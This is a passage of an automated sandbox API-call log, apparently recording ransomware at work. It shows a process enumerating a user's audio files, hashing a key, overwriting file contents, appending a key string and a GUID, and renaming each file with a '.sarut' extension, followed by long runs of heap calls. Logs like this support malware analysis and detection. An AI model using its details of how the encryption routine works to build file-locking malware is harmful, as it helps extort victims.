lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.158] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.159] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.159] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.159] CloseHandle (hObject=0x5c4) returned 1 [0269.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YEmk 2o.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yemk 2o.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YEmk 2o.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yemk 2o.m4a.sarut")) returned 1 [0269.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.186] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.187] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 1 [0269.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z29_EgFwKYFm3nLlZNM.wav") returned=".wav" [0269.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z29_EgFwKYFm3nLlZNM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z29_egfwkyfm3nllznm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.188] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=39067) returned 1 [0269.188] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.190] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9875, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.190] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.192] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.192] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x989b, lpOverlapped=0x0) returned 1 [0269.193] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.193] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.193] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.193] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.194] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.194] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.194] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.194] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.194] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.194] GetLastError () returned 0x0 [0269.194] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.195] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x98a0) returned 0x311d708 [0269.195] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.195] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x9896, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x9896, lpOverlapped=0x0) returned 1 [0269.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.195] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x989b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.196] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.196] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.196] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.196] CloseHandle (hObject=0x5c4) returned 1 [0269.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z29_EgFwKYFm3nLlZNM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z29_egfwkyfm3nllznm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z29_EgFwKYFm3nLlZNM.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z29_egfwkyfm3nllznm.wav.sarut")) returned 1 [0269.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.199] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0 [0269.201] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116970 | out: hHeap=0x640000) returned 1 [0269.201] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.201] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 